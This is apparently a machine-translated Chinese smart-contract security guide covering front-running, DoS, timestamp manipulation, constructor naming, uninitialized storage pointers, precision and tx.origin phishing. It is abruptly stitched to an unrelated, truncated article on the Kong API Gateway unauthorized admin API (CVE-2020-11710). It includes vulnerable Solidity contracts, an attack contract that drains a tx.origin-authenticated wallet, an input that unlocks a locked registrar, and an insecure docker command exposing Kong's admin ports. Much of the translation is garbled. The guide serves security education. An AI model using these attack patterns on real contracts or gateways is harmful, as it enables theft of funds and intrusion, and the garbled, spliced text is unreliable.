这个错误的更严重的版本发生在以太之王。一个优秀的验尸本合约已被写入详细介绍了如何一个未经检查的失败send()可能会被用来攻击的合约。
## 条件竞争/非法预先交易
将外部调用与其他合约以及底层区块链的多用户特性结合在一起会产生各种潜在的缺陷，用户可以通过争用代码来获取意外状态。重入是这种条件竞争的一个例子。在本节中，我们将更一般地讨论以太坊区块链上可能发生的各种竞态条件。在这个领域有很多不错的帖子，其中一些是：以太坊Wiki
- 安全，DASP - 前台运行和共识 - 智能合约最佳实践。
### 漏洞
与大多数区块链一样，以太坊节点汇集交易并将其形成块。一旦矿工解决了共识机制（目前Ethereum的 ETHASH
PoW），这些交易就被认为是有效的。解决该区块的矿工也会选择来自该矿池的哪些交易将包含在该区块中，这通常是由gasPrice交易订购的。在这里有一个潜在的攻击媒介。攻击者可以观察事务池中是否存在可能包含问题解决方案的事务，修改或撤销攻击者的权限或更改合约中的攻击者不希望的状态。然后攻击者可以从这个事务中获取数据，并创建一个更高级别的事务gasPrice
并在原始之前将其交易包含在一个区块中。
让我们看看这可以如何用一个简单的例子。考虑合约FindThisHash.sol：
contract FindThisHash {
bytes32 constant public hash = 0xb5b5b97fafd9855eec9b41f74dfb6c38f5951141f9a3ecd7f44d5479b630ee0a;
constructor() public payable {} // load with ether
function solve(string solution) public {
// If you can find the pre image of the hash, receive 1000 ether
require(hash == sha3(solution));
msg.sender.transfer(1000 ether);
}
}
想象一下，这个合约包含1000个ether。可以找到sha3哈希的预映像的用户0xb5b5b97fafd9855eec9b41f74dfb6c38f5951141f9a3ecd7f44d5479b630ee0a可以提交解决方案并检索1000
ether。让我们说一个用户找出解决方案Ethereum!。他们称solve()与Ethereum!作为参数。不幸的是，攻击者非常聪明地为提交解决方案的任何人观看交易池。他们看到这个解决方案，检查它的有效性，然后提交一个远高于gasPrice原始交易的等价交易。解决该问题的矿工可能会因攻击者的偏好而给予攻击者偏好，gasPrice并在原求解器之前接受他们的交易。攻击者将获得1000ether，解决问题的用户将不会得到任何东西（合约中没有剩余ether）。
未来卡斯珀实施的设计中会出现更现实的问题。卡斯帕证明合约涉及激励条件，在这种条件下，通知验证者双重投票或行为不当的用户被激励提交他们已经这样做的证据。验证者将受到惩罚并奖励用户。在这种情况下，预计矿工和用户将在所有这些提交的证据前面运行，并且这个问题必须在最终发布之前得到解决。
### 预防技术
有两类用户可以执行这些类型的前端攻击。用户（他们修改gasPrice他们的交易）和矿工自己（谁可以在一个块中重新订购他们认为合适的交易）。对于第一类（用户）而言易受攻击的合约比第二类（矿工）易受影响的合约明显更差，因为矿工只能在解决某个块时执行攻击，而对于任何单个矿工来说，块。在这里，我将列出一些与他们可能阻止的攻击者类别有关的缓解措施。
可以采用的一种方法是在合约中创建逻辑，以在其上设置上限gasPrice。这可以防止用户增加gasPrice并获得超出上限的优惠交易排序。这种预防措施只能缓解第一类攻击者（任意用户）。在这种情况下，矿工仍然可以攻击合约，因为无论天然气价格如何，他们都可以在他们的块中订购交易。
一个更强大的方法是尽可能使用commit-reveal方案。这种方案规定用户使用隐藏信息发送交易（通常是散列）。在事务已包含在块中后，用户将发送一个事务来显示已发送的数据（显示阶段）。这种方法可以防止矿工和用户从事先交易，因为他们无法确定交易的内容。然而，这种方法不能隐藏交易价值（在某些情况下，这是需要隐藏的有价值的信息）。该ENS
智能合约允许用户发送交易，其承诺数据包括他们愿意花费的金额。用户可以发送任意值的交易。在披露阶段，用户退还了交易中发送的金额与他们愿意花费的金额之间的差额。
洛伦茨，菲尔，阿里和弗洛里安的进一步建议是使用潜艇发射。这个想法的有效实现需要CREATE2操作码，目前还没有被采用，但似乎在即将出现的硬叉上。
### 真实世界的例子：ERC20和Bancor
该ERC20标准是相当知名的关于Ethereum建设令牌。这个标准有一个潜在的超前漏洞，这个漏洞是由于这个approve()功能而产生的。这个漏洞的一个很好的解释可以在这里找到。
该标准规定的approve()功能如下：
`function approve(address _spender, uint256 _value) returns (bool success)`
该功能允许用户 允许其他用户 代表他们传送令牌。当用户Alice 批准她的朋友Bob花钱时，这种先发制人的漏洞就出现了100
tokens。爱丽丝后来决定，她想撤销Bob批准花费100 tokens，所以她创建了一个交易，设置Bob的分配50
tokens。Bob，他一直在仔细观察这个连锁店，看到这笔交易并且建立了一笔他自己花费的交易100
tokens。他gasPrice的交易比自己的交易要高，他Alice的交易优先于她的交易。一些实现approve()将允许Bob转移他的100
tokens，然后当Alice事务被提交时，重置Bob的批准50 tokens，实际上允许Bob访问150
tokens。这种攻击的缓解策略给出这里上面链接在文档中。
另一个突出的现实世界的例子是Bancor。Ivan
Bogatty和他的团队记录了对Bancor最初实施的有利可图的攻击。他的博客文章和德文3讲话详细讨论了这是如何完成的。基本上，令牌的价格是根据交易价值确定的，用户可以观察Bancor交易的交易池，并从前端运行它们以从价格差异中获利。Bancor团队解决了这一攻击。
## 拒绝服务（DOS）
这个类别非常广泛，但基本上用户可以在一段时间内（或在某些情况下，永久）使合约无法运行的攻击组成。这可以永远陷入这些契约中的以太，就像第二次奇偶MultiSig攻击一样
### 漏洞
合约可能有多种不可操作的方式。这里我只强调一些潜在的不太明显的区块链细微的Solidity编码模式，可能导致攻击者执行DOS攻击。
1.通过外部操纵映射或数组循环 -在我的冒险中，我看到了这种模式的各种形式。通常情况下，它出现在owner希望在其投资者之间分配代币的情况下，并且distribute()可以在示例合约中看到类似功能的情况：
contract DistributeTokens {
address public owner; // gets set somewhere
address[] investors; // array of investors
uint[] investorTokens; // the amount of tokens each investor gets
// ... extra functionality, including transfertoken()
function invest() public payable {
investors.push(msg.sender);
investorTokens.push(msg.value * 5); // 5 times the wei sent
}
function distribute() public {
require(msg.sender == owner); // only owner
for(uint i = 0; i < investors.length; i++) {
// here transferToken(to,amount) transfers "amount" of tokens to the address "to"
transferToken(investors[i],investorTokens[i]);
}
}
}
请注意，此合约中的循环遍历可能被人为夸大的数组。攻击者可以创建许多用户帐户，使investor阵列变大。原则上，可以这样做，即执行for循环所需的gas超过块gas极限，基本上使distribute()功能无法操作。
2.所有者操作 -另一种常见模式是所有者在合约中具有特定权限，并且必须执行一些任务才能使合约进入下一个状态。例如，ICO合约要求所有者finalize()签订合约，然后允许令牌可以转让，即
bool public isFinalized = false;
address public owner; // gets set somewhere
function finalize() public {
require(msg.sender == owner);
isFinalized == true;
}
// ... extra ICO functionality
// overloaded transfer function
function transfer(address _to, uint _value) returns (bool) {
require(isFinalized);
super.transfer(_to,_value)
}
在这种情况下，如果特权用户丢失其私钥
或变为非活动状态，则整个令牌合约变得无法操作。在这种情况下，如果owner无法调用finalize()不可以转让代币，即令牌生态系统的整个操作取决于一个地址。
3.基于外部调用的进展状态 -合约有时被编写成为了进入新的状态需要将以太网发送到某个地址，或者等待来自外部来源的某些输入。这些模式可能导致DOS攻击，当外部调用失败时，或由于外部原因而被阻止。在发送ether的例子中，用户可以创建一个不接受ether的契约。如果合约需要将ether送到这个地址才能进入新的状态，那么合约将永远不会达到新的状态，因为乙ether永远不会被送到合约。
### 预防技术
在第一个例子中，合约不应该循环通过可以被外部用户人为操纵的数据结构。建议撤销模式，每个投资者都会调用撤销函数来独立声明令牌。
在第二个例子中，要求特权用户改变合约的状态。在这样的例子中（只要有可能），如果无法使用故障安全装置，则可以使用故障安全装置owner。一种解决方案可能是建立owner一个多合约。另一种解决方案是使用一个时间段，其中线路[13]上的需求可以包括基于时间的机制，例如require(msg.sender
== owner || now >
unlockTime)允许任何用户在一段时间后完成，由指定unlockTime。这种缓解技术也可以在第三个例子中使用。如果需要进行外部呼叫才能进入新状态，请考虑其可能的失败情况，并且可能会添加基于时间的状态进度，以防止所需的呼叫不会到来。
注意：当然，这些建议可以集中替代，maintenanceUser如果需要的话，可以添加一个谁可以来解决基于DOS攻击向量的问题。通常，这类合约包含对这种实体的权力的信任问题，但这不是本节的对话。
### 真实的例子：GovernMental
GovernMental是一个古老的庞氏骗局，积累了相当多的以太。实际上，它曾经积累过一百一十万个以太。不幸的是，它很容易受到本节提到的DOS漏洞的影响。这个Reddit
Post描述了合约如何删除一个大的映射以撤销以太。这个映射的删除有一个gas成本超过了当时的gas阻塞限制，因此不可能撤回1100ether。合约地址为0xF45717552f12Ef7cb65e95476F217Ea008167Ae3，您可以从交易0x0d80d67202bd9cb6773df8dd2020e7190a1b0793e8ec4fc105257e8128f0506b中看到1100ether最终通过使用2.5Mgas的交易获得。
## 阻止时间戳操作
数据块时间戳历来被用于各种应用，例如随机数的函数（请参阅函数部分以获取更多详细信息），锁定一段时间的资金以及时间相关的各种状态变化的条件语句。矿工有能力稍微调整时间戳，如果在智能合约中使用错误的块时间戳，这可能会证明是相当危险的。
一些有用的参考资料是：Solidity Docs，这个堆栈交换问题，
### 漏洞
block.timestamp或者别名now可以由矿工操纵，如果他们有这样做的动机。让我们构建一个简单的游戏，这将容易受到矿工的剥削，
roulette.sol：
contract Roulette {
uint public pastBlockTime; // Forces one bet per block
constructor() public payable {} // initially fund contract
// fallback function used to make a bet
function () public payable {
require(msg.value == 10 ether); // must send 10 ether to play
require(now != pastBlockTime); // only 1 transaction per block
pastBlockTime = now;
if(now % 15 == 0) { // winner
msg.sender.transfer(this.balance);
}
}
}
这份合约表现得像一个简单的彩票。每块一笔交易可以打赌10
ether赢得合约余额的机会。这里的假设是，block.timestamp关于最后两位数字是均匀分布的。如果是这样，那么将有1/15的机会赢得这个彩票。
但是，正如我们所知，矿工可以根据需要调整时间戳。在这种特殊情况下，如果合约中有足够的ether，解决某个区块的矿工将被激励选择一个15
block.timestamp或now15
的时间戳0。在这样做的时候，他们可能会赢得这个合约以及块奖励。由于每个区块只允许一个人下注，所以这也容易受到前线攻击。
在实践中，块时间戳是单调递增的，所以矿工不能选择任意块时间戳（它们必须大于其前辈）。它们也限制在将来设置不太远的块时间，因为这些块可能会被网络拒绝（节点不会验证其时间戳未来的块）。
### 预防技术
块时间戳不应该用于函数或产生随机数 - 也就是说，它们不应该是决定性因素（直接或通过某些推导）获得游戏或改变重要状态（如果假定为随机）。
时间敏感的逻辑有时是必需的;
即解锁合约（时间锁定），几周后完成ICO或强制执行到期日期。有时建议使用block.number（参见Solidity文档）和平均块时间来估计时间; .ie
1 week与10 second块时间相等，约等于，60480 blocks。因此，指定更改合约状态的块编号可能更安全，因为矿工无法轻松操作块编号。该BAT
ICO合约采用这种策略。
如果合约不是特别关心矿工对块时间戳的操作，这可能是不必要的，但是在开发约同时应该注意这一点。
### 真实的例子：GovernMental
GovernMental是一个古老的庞氏骗局，积累了相当多的以太。它也容易受到基于时间戳的攻击。该合约在最后一轮加入球员（至少一分钟）内完成。因此，作为玩家的矿工可以调整时间戳（未来的时间，使其看起来像是一分钟过去了），以显示玩家是最后一分钟加入的时间（尽管这是现实中并非如此）。关于这方面的更多细节可以在Tanya
Bahrynovska 的“以太坊安全漏洞史”中找到。
## 谨慎构造函数
构造函数是特殊函数，在初始化合约时经常执行关键的特权任务。在solidity
v0.4.22构造函数被定义为与包含它们的合约名称相同的函数之前。因此，如果合约名称在开发过程中发生变化，如果构造函数名称没有更改，它将变成正常的可调用函数。正如你可以想象的，这可以（并且）导致一些有趣的合约黑客。
为了进一步阅读，我建议读者尝试Ethernaught挑战（特别是辐射水平）。
### 漏洞
如果合约名称被修改，或者在构造函数名称中存在拼写错误以致它不再与合约名称匹配，则构造函数的行为将与普通函数类似。这可能会导致可怕的后果，特别是如果构造函数正在执行特权操作。考虑以下合约：
contract OwnerWallet {
address public owner;
//constructor
function ownerWallet(address _owner) public {
owner = _owner;
}
// fallback. Collect ether.
function () payable {}
function withdraw() public {
require(msg.sender == owner);
msg.sender.transfer(this.balance);
}
}
该合约收集以太，并只允许所有者通过调用该withdraw()函数来撤销所有以太。这个问题是由于构造函数没有完全以合约名称命名的。具体来说，ownerWallet是不一样的OwnerWallet。因此，任何用户都可以调用该ownerWallet()函数，将自己设置为所有者，然后通过调用将合约中的所有内容都取出来withdraw()。
### 预防技术
这个问题已经在Solidity编译器的版本中得到了主要解决0.4.22。该版本引入了一个constructor指定构造函数的关键字，而不是要求函数的名称与契约名称匹配。建议使用此关键字来指定构造函数，以防止上面突出显示的命名问题。
### 真实世界的例子：Rubixi
Rubixi（合约代码）是另一个展现这种脆弱性的传销方案。它最初被调用，DynamicPyramid但合约名称在部署之前已更改Rubixi。构造函数的名字没有改变，允许任何用户成为creator。关于这个bug的一些有趣的讨论可以在这个比特币线程中找到。最终，它允许用户争取creator地位，从金字塔计划中支付费用。关于这个特定bug的更多细节可以在这里找到。
## 虚拟化存储指针
EVM将数据存储为storage或作为memory。开发合约时强烈建议如何完成这项工作，并强烈建议函数局部变量的默认类型。这是因为可能通过不恰当地初始化变量来产生易受攻击的合约。
要了解更多关于storage和memory的EVM，看到Solidity Docs: Data Location，Solidity Docs: Layout
of State Variables in Storage，Solidity Docs: Layout in Memory。 本节以Stefan
Beyer出色的文章为基础。关于这个话题的进一步阅读可以从Sefan的灵感中找到，这是这个reddit思路。
### 漏洞
函数内的局部变量默认为storage或memory取决于它们的类型。未初始化的本地storage变量可能会指向合约中的其他意外存储变量，从而导致故意（即，开发人员故意将它们放在那里进行攻击）或无意的漏洞。
我们来考虑以下相对简单的名称注册商合约：
// A Locked Name Registrar
contract NameRegistrar {
bool public unlocked = false; // registrar locked, no name updates
struct NameRecord { // map hashes to addresses
bytes32 name;
address mappedAddress;
}
mapping(address => NameRecord) public registeredNameRecord; // records who registered names
mapping(bytes32 => address) public resolve; // resolves hashes to addresses
function register(bytes32 _name, address _mappedAddress) public {
// set up the new NameRecord
NameRecord newRecord;
newRecord.name = _name;
newRecord.mappedAddress = _mappedAddress;
resolve[_name] = _mappedAddress;
registeredNameRecord[msg.sender] = newRecord;
require(unlocked); // only allow registrations if contract is unlocked
}
}
这个简单的名称注册商只有一个功能。当合约是unlocked，它允许任何人注册一个名称（作为bytes32散列）并将该名称映射到地址。不幸的是，此注册商最初被锁定，并且require在线[23]禁止register()添加姓名记录。然而，在这个合约中存在一个漏洞，它允许名称注册而不管unlocked变量。
为了讨论这个漏洞，首先我们需要了解存储在Solidity中的工作方式。作为一个高层次的概述（没有任何适当的技术细节 -我建议阅读Solidity文档以进行适当的审查），状态变量按顺序存储在合约中出现的插槽中（它们可以组合在一起，但在本例中不可以，所以我们不用担心）。因此，unlocked存在于slot
0，registeredNameRecord在存在slot 1和resolve在slot
2等。这些槽是字节大小32（有与我们忽略现在映射添加的复杂性）。布尔unlocked将看起来像0x000...0（64 0，不包括0x）for
false或0x000...1（63 0's）true。正如你所看到的，在这个特殊的例子中，存储会有很大的浪费。
下一个资料，我们需要的，是Solidity违约复杂数据类型，例如structs，以storage初始化它们作为局部变量时。因此，newRecord在行[16]上默认为storage。该漏洞是由newRecord未初始化的事实引起的。由于它默认为存储，因此它成为存储指针，并且由于它未初始化，它指向插槽0（即unlocked存储位置）。请注意，上线[17]和[18]我们然后设置nameRecord.name到_name和nameRecord.mappedAddress到_mappedAddress，这实际上改变了时隙0和时隙1的存储位置用于修改都unlocked和与之相关联的存储槽registeredNameRecord。
这意味着unlocked可以直接通过函数的bytes32
_name参数进行修改register()。因此，如果最后一个字节为_name非零，它将修改存储的最后一个字节slot
0并直接转换unlocked为true。这样_name的值将通过require()线[23]，因为我们正在设置unlocked到true。在Remix中试试这个。注意如果你使用下面_name的形式，函数会通过：0x0000000000000000000000000000000000000000000000000000000000000001
### 预防技术
Solidity编译器会提出未经初始化的存储变量作为警告，因此开发人员在构建智能合约时应小心注意这些警告。当前版本的mist（0.10）不允许编译这些合约。在处理复杂类型时明确使用memory或storage确定它们的行为如预期一般是很好的做法。
### 真实世界的例子：蜜罐：OpenAddressLottery和CryptoRoulette
一个名为OpenAddressLottery（合约代码）的蜜罐被部署，它使用这个未初始化的存储变量querk从一些可能的黑客收集ether。合约是相当深入的，所以我会把讨论留在这个reddit思路中，这个攻击很清楚地解释了。
另一个蜜罐，CryptoRoulette（合约代码）也利用这个技巧尝试并收集一些以太。如果您无法弄清楚攻击是如何进行的，请参阅对以太坊蜜罐合约的分析以获得对此合约和其他内容的概述。
## 浮点和精度
在撰写本文时（Solidity
v0.4.24），不支持定点或浮点数。这意味着浮点表示必须用Solidity中的整数类型进行表示。如果没有正确实施，这可能会导致错误/漏洞。
如需进一步阅读，请参阅以太坊合约安全技术和提示 - 使用整数部分舍入，
### 漏洞
由于Solidity中没有固定点类型，因此开发人员需要使用标准整数数据类型来实现它们自己的类型。在这个过程中，开发人员可能遇到一些陷阱。我将尝试在本节中重点介绍其中的一些内容。
让我们从一个代码示例开始（为简单起见，忽略任何over / under流问题）。
contract FunWithNumbers {
uint constant public tokensPerEth = 10;
uint constant public weiPerEth = 1e18;
mapping(address => uint) public balances;
function buyTokens() public payable {
uint tokens = msg.value/weiPerEth*tokensPerEth; // convert wei to eth, then multiply by token rate
balances[msg.sender] += tokens;
}
function sellTokens(uint tokens) public {
require(balances[msg.sender] >= tokens);
uint eth = tokens/tokensPerEth;
balances[msg.sender] -= tokens;
msg.sender.transfer(eth*weiPerEth); //
}
}
这个简单的令牌买/卖合约在代币的买卖中存在一些明显的问题。虽然买卖令牌的数学计算是正确的，但浮点数的缺乏会给出错误的结果。例如，当在线[7]上购买令牌时，如果该值小于1
ether最初的除法将导致0最后的乘法0（即200 wei除以1e18weiPerEth等于0）。同样，当销售代币时，任何代币10都不会产生0
ether。事实上，这里四舍五入总是下降，所以销售29 tokens，将导致2 ether。
这个合约的问题是精度只能到最近的ether（即1e18 wei）。当您需要更高的精度时，decimals在处理ERC20令牌时，这有时会变得棘手。
### 预防技术
保持智能合约的正确精确度非常重要，尤其是在处理反映经济决策的比率和比率时。
您应该确保您使用的任何比率或比率都允许分数中的大分子。例如，我们tokensPerEth在示例中使用了费率。使用weiPerTokens这将是一个很大的数字会更好。解决我们可以做的令牌数量问题msg.sender/weiPerTokens。这会给出更精确的结果。
要记住的另一个策略是注意操作的顺序。在上面的例子中，购买令牌的计算是`msg.value/weiPerEth
*tokenPerEth`。请注意，除法发生在乘法之前。如果计算首先进行乘法，然后再进行除法，那么这个例子会达到更高的精度msg.value*
tokenPerEth/weiPerEth。
最后，当为数字定义任意精度时，将变量转换为更高精度，执行所有数学运算，然后最后在需要时将其转换回输出精度可能是一个好主意。通常uint256使用它们（因为它们对于gas使用来说是最佳的），它们的范围约为60个数量级，其中一些可用于数学运算的精确度。可能会出现这样的情况：最好将所有变量高精度地保持稳定并在外部应用程序中转换回较低的精度（这实际上是ERC20令牌合约中decimals变量的工作原理）。要查看如何完成此操作的示例以及要执行此操作的库，我建议查看Maker
DAO DSMath。他们使用一些时髦的命名WAD的和RAY的，但这个概念是非常有用的。
### 真实世界的例子：Ethstick
我无法找到一个很好的例子，说明四舍五入导致合约中出现严重问题，但我相信这里有很多。如果你有一个好的想法，请随时更新。
由于缺乏一个很好的例子，我想引起您对Ethstick的关注，主要是因为我喜欢合约中的酷命名。但是，这个合约并没有使用任何扩展的精确度wei。所以这个合约会有四舍五入的问题，但只是在wei精确度方面。它有一些更严重的缺陷，但这些都与区块链上的函数有关（见Entropty
Illusion）。关于Ethstick合约的进一步讨论，我会把你推荐给Peter Venesses的另一篇文章，以太坊合约对于黑客来说就是糖果。
## Tx.Origin身份验证
Solidity具有一个全局变量，tx.origin它遍历整个调用栈并返回最初发送调用（或事务）的帐户的地址。在智能合约中使用此变量进行身份验证会使合约容易受到类似网络钓鱼的攻击。
有关进一步阅读，请参阅Stack Exchange Question，Peter Venesses博客和Solidity - Tx.Origin攻击。
### 漏洞
授权用户使用该tx.origin变量的合约通常容易受到网络钓鱼攻击的攻击，这可能会诱使用户对易受攻击的合约执行身份验证操作。 考虑简单的合约，
contract Phishable {
address public owner;
constructor (address _owner) {
owner = _owner;
}
function () public payable {} // collect ether
function withdrawAll(address _recipient) public {
require(tx.origin == owner);
_recipient.transfer(this.balance);
}
}
请注意，在[11]行中，此合约授权withdrawAll()使用该功能tx.origin。该合约允许攻击者创建表单的攻击合约，
import "Phishable.sol";
contract AttackContract {
Phishable phishableContract;
address attacker; // The attackers address to receive funds.
constructor (Phishable _phishableContract, address _attackerAddress) {
phishableContract = _phishableContract;
attacker = _attackerAddress;
}
function () {
phishableContract.withdrawAll(attacker);
}
}
为了利用这个合约，攻击者会部署它，然后说服Phishable合约的所有者发送一定数量的合约。攻击者可能把这个合约伪装成他们自己的私人地址，社工受害人发送某种形式的交易到地址。受害者除非注意，否则可能不会注意到攻击者地址上有代码，或者攻击者可能将其作为多重签名钱包或某些高级存储钱包传递。
在任何情况下，如果受害者向AttackContract地址发送了一个事务（有足够的天然气），它将调用fallback功能，后者又调用该参数withdrawAll()的Phishable合约功能attacker。这将导致所有资金从Phishable合约中撤回到attacker地址。这是因为，首先初始化呼叫的地址是受害者（即owner中的Phishable合约）。因此，tx.origin将等于owner和require所述的上线[11]
Phishable合约会通过。
### 预防技术
tx.origin不应该用于智能合约授权。这并不是说该tx.origin变量不应该被使用。它确实在智能合约中有一些合法用例。例如，如果有人想要拒绝外部合约调用当前合约，他们可以实现一个requirefrom
require(tx.origin == msg.sender)。这可以防止用于调用当前合约的中间合约，将合约限制为常规无代码地址。
### 真实世界的例子：未知
我不知道这种形式在野的任何公开的利用。
## 以太坊怪异模式
我打算用社区发现的各种有趣怪癖填充本节。这些都保存在这个博客中，因为如果在实践中使用这些怪癖，它们可能有助于智能合约开发。
### 无键ether
合约地址是确定性的，这意味着它们可以在实际创建地址之前进行计算。创建合约的地址和产生其他合约的合约都是这种情况。实际上，创建的合约地址取决于：
`keccak256(rlp.encode([<account_address>, <transaction_nonce>])`
从本质上讲，合约的地址就是keccak256创建它与账户事务随机数[^
2]连接的账户的哈希值。合约也是如此，除了合约nonce的开始1地址的交易nonce的开始0。
这意味着给定一个以太坊地址，我们可以计算出该地址可以产生的所有可能的合约地址。例如，如果地址0x123000...000是在其第100次交易中创建合约keccak256(rlp.encode[0x123...000,
100])，则会创建合约地址，该地址将提供合约地址0xed4cafc88a13f5d58a163e61591b9385b6fe6d1a。
这是什么意思呢？这意味着您可以将ether发送到预先确定的地址（您不拥有私钥的地址，但知道您的某个帐户可以创建合约）。您可以将ether发送到该地址，然后通过稍后创建在同一地址上生成的合约来检索以太网。构造函数可用于返回所有预先发送的以太。因此，如果有人在哪里获得你的以太坊私钥，攻击者很难发现你的以太坊地址也可以访问这个隐藏的以太网。事实上，如果攻击者花费太多事务处理，以致需要访问您的以太网的随机数，则不可能恢复您的隐藏以太网。
让我用合约澄清一下。
contract KeylessHiddenEthCreator {
uint public currentContractNonce = 1; // keep track of this contracts nonce publicly (it's also found in the contracts state)
// determine future addresses which can hide ether.
function futureAddresses(uint8 nonce) public view returns (address) {
if(nonce == 0) {
return address(keccak256(0xd6, 0x94, this, 0x80));
}
return address(keccak256(0xd6, 0x94, this, nonce));
// need to implement rlp encoding properly for a full range of nonces
}
// increment the contract nonce or retrieve ether from a hidden/key-less account
// provided the nonce is correct
function retrieveHiddenEther(address beneficiary) public returns (address) {
currentContractNonce +=1;
return new RecoverContract(beneficiary);
}
function () payable {} // Allow ether transfers (helps for playing in remix)
}
contract RecoverContract {
constructor(address beneficiary) {
selfdestruct(beneficiary); // don't deploy code. Return the ether stored here to the beneficiary.
}
}
这个合约允许你存储无密钥的以太（相对安全，从某种意义上说你不能错误地忽略随机数）[^
3]。该futureAddresses()功能可用于计算此合约可产生的前127个合约地址，方法是指定nonce。如果您将ether发送到其中一个地址，则可以稍后通过调用retrieveHiddenEther()足够的时间来恢复。例如，如果您选择nonce=4（并将ether发送到关联的地址），则需要调用retrieveHiddenEther()四次，然后将以太网恢复到该beneficiary地址。
这可以在没有合约的情况下完成。您可以将ether发送到可以从您的一个标准以太坊帐户创建的地址，并在以后以正确的随机数恢复。但是要小心，如果你不小心超过了恢复你的以太币所需的交易随机数，你的资金将永远丢失。
有关一些更高级的技巧，你可以用这个怪癖做更多的信息，我推荐阅读Martin Swende的文章。
### 一次性地址
以太坊交易签名使用椭圆曲线数字签名算法（ECDSA）。通常，为了在以太坊上发送经过验证的交易，您需要使用您的以太坊私钥签署一条消息，该私钥授权从您的账户中支出。在稍微更详细，您注册的消息是复仇交易的组成部分，具体而言，to，value，gas，gasPrice，nonce和data领域。以太坊签名的结果是三个数字v，r和s。我不会详细说明这些代表的内容，而是将感兴趣的读者引至ECDSA
wiki页面（描述r和s）以及Ethereum Yellow Paper（附录F--描述v），最后EIP155为当前使用v。
所以我们知道以太坊交易签名包含一条消息和数字v，r并且s。我们可以通过使用消息（即交易细节）来检查签名是否有效，r并s派生出以太坊地址。如果派生的以太坊地址匹配from事务的字段，那么我们知道r并且s由拥有（或有权访问）该from字段的私钥的人创建，因此签名是有效的。
现在考虑一下，我们并不拥有一个私钥，而是为任意事务构建值r和值s。考虑我们有一个交易，参数为： {to ： “ 0xa9e ”，value ：
10e18，nonce ： 0 }
我忽略了其他参数。该交易将发送10位以太网到该0xa9e地址。现在让我们说我们做了一些数字r和s（这些有特定的范围）和v。如果我们推导出与这些编号相关的以太坊地址，我们将得到一个随机的以太坊地址，让我们来调用它0x54321。知道这个地址，我们可以向地址发送10个ether
0x54321（不需要拥有该地址的私钥）。在将来的任何时候，我们都可以发送交易， {to ： “ 0xa9e ”，value ： 10e18，nonce ：
0，from ： “ 0x54321 ” }
以及签名，即v，r和s我们组成。这将是一个有效的交易，因为派生地址将匹配我们的from字段。这使我们可以将我们的钱从这个随机地址（0x54321）中分配到我们选择的地址0xa9e。因此，我们设法将ether存储在我们没有私钥的地址中，并使用一次性事务来恢复以太。
这个怪癖还可以用来以无可信赖的方式向许多人发送ether，正如尼克约翰逊在“ 如何将ether发送给11,440人”中所描述的那样。
## 有趣的加密相关的hacks/bugs列表
* [CoinDash](https://www.theregister.co.uk/2017/07/18/coindash_hack/)
* [SmartBillions](https://www.reddit.com/r/ethereum/comments/74d3dc/smartbillions_lottery_contract_just_got_hacked/)
* [Exchange Didn't add "0x" to payload](https://steemit.com/cryptocurrency/@barrydutton/breaking-the-biggest-canadian-coin-exchange-quadrigacx-loses-67-000-usdeth-due-to-coding-error-funds-locked-in-an-executable)
[^ 1]：此代码已从web3j修改过
[^ 2]：事务随机数就像一个事务计数器。从您的账户发送交易时，它会增加您的交易时间。
[^ 3]：不要部署此合约来存储任何真实的以太网。仅用于演示目的。它没有固有的特权，任何人都可以在部署和使用它时恢复以太网。
* * * | 社区文章 |
### 简介
Kong是开源的、"云原生"(cloud-native)的API Gateway应用程序，使用Kong
gateway的各种插件可实现对访问流量的精细控制、访问鉴权。
其官方称Kong是针对与云与混合架构的下一代API平台.
Next-Generation API Platform for Multi-Cloud and Hybrid Organizations.
* 为什么要用API Gateway ? 举个例子:业务web提供了一个"微服务"API接口，可查看全国天气数据
* 用API Gateway对该API接口设置 访问频率限制(如5分钟1次)，可避免被频繁访问
* 用API Gateway对该API接口设置 鉴权(Basic auth等)，可允许有预定义的凭据的client访问
* 用API Gateway对该API接口设置 Proxy Caching ，可避免重复请求带来的压力
* 用API Gateway对该API接口设置 负载均衡
* 用API Gateway对该API接口设置 数据转换
* ...
更多Fetures参考Kong官方资料:
[What is an API Gateway? - KongHQ](https://konghq.com/learning-center/api-gateway/?itm_source=website&itm_medium=nav)
[Fetures](https://github.com/Kong/kong#features)
### 基本信息
* 版本分类
* Kong Gateway Community - 社区版，使用默认配置存在未授权漏洞的是社区版 version <=2.0.2
* Kong Enterprise - 企业版，支持角色控制和鉴权，不存在该漏洞。目前2020.4.16的最新版本号是1.5.x
* 默认端口，Kong的默认端口与用途如下。
端口用途 | HTTP port | HTTPS port | 备注
---|---|---|---
Admin Restful API | 8001 | 8444 | Kong社区版 Admin Restful API端口 应 **仅能被管理员访问**
Proxy Port | 8000 | 8443 | 提供给公网访问
该漏洞根本原因：不恰当的配置导致"Admin Restful API的端口可被公网访问".
### 漏洞分析
根据修复漏洞CVE-2020-11710的diff <https://github.com/Kong/docker-kong/commit/18c4029ee3d4acfece679fa87b5dd081fb56fdd5>
可知修复方法是把Admin Restful API端口(8001 和 8444) 的监听从0.0.0.0改成了127.0.0.1
复现漏洞：根据 **修复漏洞前** 的[官方安装步骤 - 使用docker安装Kong Gateway
Community](https://docs.konghq.com/install/docker/)进行安装：
可发现，以下命令中有不恰当的配置，导致了 **"Admin Restful API的端口可被公网访问"** ：
（1）倒数第3行的`8001:8001`表明，访问 0.0.0.0:8001 就等于访问容器"kong"的8001端口。
（2）倒数第2行的`8444:8444`存在同样的情况。
$ docker run -d --name kong \
--network=kong-net \
-e "KONG_DATABASE=postgres" \
-e "KONG_PG_HOST=kong-database" \
-e "KONG_PG_PASSWORD=kong" \
-e "KONG_CASSANDRA_CONTACT_POINTS=kong-database" \
-e "KONG_PROXY_ACCESS_LOG=/dev/stdout" \
-e "KONG_ADMIN_ACCESS_LOG=/dev/stdout" \
-e "KONG_PROXY_ERROR_LOG=/dev/stderr" \
-e "KONG_ADMIN_ERROR_LOG=/dev/stderr" \
-e "KONG_ADMIN_LISTEN=0.0.0.0:8001, 0.0.0.0:8444 ssl" \
-p 8000:8000 \
-p 8443:8443 \
-p 8001:8001 \
-p 8444:8444 \
kong:latest
所以根据 **修复漏洞前** 的安装步骤进行安装后，默认情况下，Kong的4个端口可被公开访问，其中包括了Admin Restful
API所用的2个端口(HTTP port:8001 , HTTPS port:8444)，攻击者可利用Admin Restful API来管理Kong
Gateway的全部功能。
### 漏洞检测
<https://github.com/1135/Kong_exploit/>
通过Kong的未授权漏洞实现了 **可回显的SSRF** ，几乎等于突破了网络边界，危害巨大！
如，对某内网系统进行访问:
(页面内的css资源使用了相对路径,没获取到,如果需要获取再创建一个"服务"即可)
### 漏洞危害
* 攻击者利用"Kong未授权访问漏洞"可以执行的操作包括但不限于：
